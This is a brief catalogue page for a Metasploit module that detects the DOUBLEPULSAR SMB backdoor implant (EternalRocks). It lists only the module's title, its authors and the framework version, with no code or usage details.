- SMB Server DOUBLEPULSAR Backdoor / Implant Detection (EternalRocks)
Authors
- Equation Group
- Shadow Brokers
- sleepya
- Sean Dillon <[email protected]>
- Dylan Davis <[email protected]>
- thelightcosine
- wvu
- agalway-r7
- cdelafuente-r7
- cdelafuente-r7
- agalway-r7
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.